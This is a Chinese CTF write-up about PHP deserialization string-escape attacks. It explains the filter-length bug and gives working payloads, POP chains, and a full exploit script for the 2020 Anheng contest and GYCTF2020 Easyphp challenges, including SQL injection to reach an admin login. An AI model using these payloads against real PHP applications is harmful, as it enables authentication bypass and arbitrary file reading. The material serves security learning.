PHP 反序列化逃匿学习小记
漏洞原因
在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
PHP 反序列化特性
PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
对类中不存在的属性也会进行反序列化
逃匿类型
过滤后字符变多
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php include 'flag.php' ;function filter ($string) { return str_replace('x' ,'yy' ,$string); } $username = $_GET['u' ]; $password = "aaa" ; $user = array ($username, $password); $s = serialize($user); $r = filter($s); echo $r;$a= unserialize($r); if ($a[1 ]==='admin' ){ echo $flag; } highlight_file(__FILE__ ); ?>
此题中对序列化字符串中的x替换为yy,可能导致字符串长度增加。
当传入u=admin,序列化为
1
a:2:{i:0;s:5:"admin" ;i:1;s:3:"aaa" ;}
反序列化后满足不了$a[1]==='admin'
条件
当传入u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}
,此时替换序列化的结果为
1
a:2:a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" ;i:1;s:5:"admin" ;}";i:1;s:3:" aaa";}
此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,不会报错,再加上后面的;i:1;s:5:”admin”;}成功反序列化,后面的就被忽略了。
x个数的计算 首先我们要确定需要添加的内容,也就是后面一串,即”;i:1;s:5:”admin”;},长度为19(设为m),满足以下式子(设有n个x字符,”;i:1;s:5:”admin”;}前面有y个非x字符):
1
n+y+m=2n+y // 原来字符串的长度 = 替换后去掉m的长度
解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了
如果碰到除不尽的情况,我们可以在”;i:1;s:5:”admin”;}前面增加一些非x字符,类似
此时m的长度大于19 添加非x字符是错误的,因为永远也减少不了这些字符,如果出现不整除的情况,应该是还有其他替换字符的选项。
过滤后字符变少
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?php include 'flag.php' ;function filter ($string) { return str_replace('sec' ,'' ,$string); } $username = $_GET['u' ]; $password = $_GET['p' ]; $auth="guest" ; $user = array ($username, $password,$auth); $s = serialize($user); $r = filter($s); echo $r;$a= unserialize($r); if ($a[2 ]==='admin' ){ echo $flag; } highlight_file(__FILE__ ); ?>
要想得到flag,就要使得”;i:2;s:5:”admin”;},长度为19,经过观察序列化后”;i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度”;i:1;s:xx:” 为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空格,刚好空出12个字符,可以将”;i:1;s:xx:”这12个字符反序列化后在第一个元素值中,使得后面逃匿。 最后payload
1
u=secsecsecsec&p=";i:1;s:4:" eval ";i:2;s:5:" admin";}
也可以多添加几个sec,假设为5个,此时空出15个字符,减去”;i:1;s:xx:”这12个字符,还剩下3个,可以再输入三个字符填充。
1
u=secsecsecsecsec&p=123";i:1;s:4:" eval ";i:2;s:5:" admin";}
例题
2020安恒四月月赛
安恒杯月赛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
<?php show_source("index.php" ); function write ($data) { return str_replace(chr(0 ) . '*' . chr(0 ), '\0\0\0' , $data); } function read ($data) { return str_replace('\0\0\0' , chr(0 ) . '*' . chr(0 ), $data); } class A { public $username; public $password; function __construct ($a, $b) { $this ->username = $a; $this ->password = $b; } } class B { public $b = 'gqy' ; function __destruct () { $c = 'a' .$this ->b; echo $c; } } class C { public $c; function __toString () { echo file_get_contents($this ->c); return 'nice' ; } } $a = new A($_GET['a' ],$_GET['b' ]); $e = serialize($a); $c = write($e); echo $c;echo "</br>" ;$d = read($c); echo $d;echo "</br>" ;$b = unserialize($d); ?>
反序列利用链接为
1
B __destruct() -> C __toString()
正常利用序列化链为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
<?php class A { public $username; public $password; function __construct ($a, $b) { $this ->username = $a; $this ->password = $b; } } class B { public $b = 'gqy' ; } class C { public $c; } $c=new C; $c->c='flag.php' ; $b=new B; $b->b=$c; $ser=new A("test" ,$b); echo serialize($ser);?>
序列化结果
1
O:1:"A" :2:{s:8:"username" ;s:4:"test" ;s:8:"password" ;O:1:"B" :1:{s:1:"b" ;O:1:"C" :1:{s:1:"c" ;s:8:"flag.php" ;}}}
下面是我们实际上要添加的字符串
1
";s:8:" password";O:1:" B":1:{s:1:" b";O:1:" C":1:{s:1:" c";s:8:" flag.php";}}}
这里write()中将'chr(0) . '*' . chr(0)'
替换为'\0\0\0'
,长度由3变成6,增加三个字符,read()中'\0\0\0'
替换为chr(0) . '*' . chr(0)
,长度由6变成3,减少3个字符。 先write()操作后read(),这里只能用字符缩短的逃匿方法。
正常序列化的字符串
1
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
其中要利用username吃掉后面的";s:8:"password";s:xx:"
,为23个字符。 可以用6个\0\0\0,可以减少24个字符,多减少了一个字符,在实际上要添加的字符串可以在多填上一个字符即可。
此时payload为
1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:" password";O:1:" B":1:{s:1:" b";O:1:" C":1:{s:1:" c";s:8:" flag.php";}}}
[GYCTF2020]Easyphp
lib.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
<?php error_reporting(0 ); session_start(); function safe ($parm) { $array= array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array,'hacker' ,$parm); } class User { public $id; public $age=null ; public $nickname=null ; public function login () { if (isset ($_POST['username' ])&&isset ($_POST['password' ])){ $mysqli=new dbCtrl(); $this ->id=$mysqli->login('select id,password from user where username=?' ); if ($this ->id){ $_SESSION['id' ]=$this ->id; $_SESSION['login' ]=1 ; echo "你的ID是" .$_SESSION['id' ]; echo "你好!" .$_SESSION['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } } } public function update () { $Info=unserialize($this ->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id' ],$Info,"update user SET age=$age,nickname=$nickname where id=" .$_SESSION['id' ]); } public function getNewInfo () { $age=$_POST['age' ]; $nickname=$_POST['nickname' ]; return safe(serialize(new Info($age,$nickname))); } public function __destruct () { return file_get_contents($this ->nickname); } public function __toString () { $this ->nickname->update($this ->age); return "0-0" ; } } class Info { public $age; public $nickname; public $CtrlCase; public function __construct ($age,$nickname) { $this ->age=$age; $this ->nickname=$nickname; } public function __call ($name,$argument) { echo $this ->CtrlCase->login($argument[0 ]); } } Class UpdateHelper { public $id; public $newinfo; public $sql; public function __construct ($newInfo,$sql) { $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct () { echo $this ->sql; } } class dbCtrl { public $hostname="127.0.0.1" ; public $dbuser="root" ; public $dbpass="root" ; public $database="test" ; public $name; public $password; public $mysqli; public $token; public function __construct () { $this ->name=$_POST['username' ]; $this ->password=$_POST['password' ]; $this ->token=$_SESSION['token' ]; } public function login ($sql) { $this ->mysqli=new mysqli($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result=$this ->mysqli->prepare($sql); $result->bind_param('s' , $this ->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this ->token=='admin' ) { return $idResult; } if (!$idResult) { echo ('用户不存在!' ); return false ; } if (md5($this ->password)!==$passwordResult) { echo ('密码错误!' ); return false ; } $_SESSION['token' ]=$this ->name; return $idResult; } public function update ($sql) { } }
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
<?php require_once ('lib.php' );?> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>login</title> <center> <form action="login.php" method="post" style="margin-top: 300" > <h2>百万前端的用户信息管理系统</h2> <h3>半成品系统 留后门的程序员已经跑路</h3> <input type="text" name="username" placeholder="UserName" required> <br> <input type="password" style="margin-top: 20" name="password" placeholder="password" required> <br> <button style="margin-top:20;" type="submit" >登录</button> <br> <img src='img/1.jpg' >大家记得做好防护</img> <br> <br> <?php $user=new user(); if (isset ($_POST['username' ])){ if (preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i" , $_POST['username' ])){ die ("<br>Damn you, hacker!" ); } if (preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i" , $_POST['password' ])){ die ("Damn you, hacker!" ); } $user->login(); } ?> </form> </center>
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users=new User(); $users->update(); if ($_SESSION['login' ]===1 ){ require_once ("flag.php" ); echo $flag; } ?>
参考https://blog.csdn.net/mochu7777777/article/details/105175949/
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
<?php class dbCtrl { public $hostname="127.0.0.1" ; public $dbuser="root" ; public $dbpass="root" ; public $database="test" ; public $name; public $password; public $mysqli; public $token; public function login ($sql) { $this ->mysqli=new mysqli($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result=$this ->mysqli->prepare($sql); $result->bind_param('s' , $this ->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this ->token=='admin' ) { return $idResult; } if (!$idResult) { echo ('用户不存在!' ); return false ; } if (md5($this ->password)!==$passwordResult) { echo ('密码错误!' ); return false ; } $_SESSION['token' ]=$this ->name; return $idResult; } public function update ($sql) { } } Class UpdateHelper { public $id; public $newinfo; public $sql; public function __destruct () { echo $this ->sql; } } class User { public $id; public $age=null ; public $nickname=null ; public function __toString () { $this ->nickname->update($this ->age); return "0-0" ; } } class Info { public $age; public $nickname; public $CtrlCase; public function __call ($name,$argument) { echo $this ->CtrlCase->login($argument[0 ]); } } $up=new UpdateHelper(); $user=new User(); $info=new Info(); $db=new dbCtrl(); $up->sql=$user; $user->nickname=$info; $user->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?' ; $info->CtrlCase=$db; $db->name="admin" ; $db->password="1" ; $s=serialize($up); $pre='";s:8:"CtrlCase";' ; $end="}" ; $payload=$pre.$s.$end; echo "\n" ;$length=strlen($payload); $union="" ; for ($i=0 ;$i<strlen($payload);$i++){ $union .="union" ; } echo $union.$payload;
参考文章:PHP反序列化字符逃逸 浅析php反序列化字符串逃逸
详情可看此篇文章: PHP反序列化字符逃逸
FROM :blog.cfyqy.com | Author:cfyqy
评论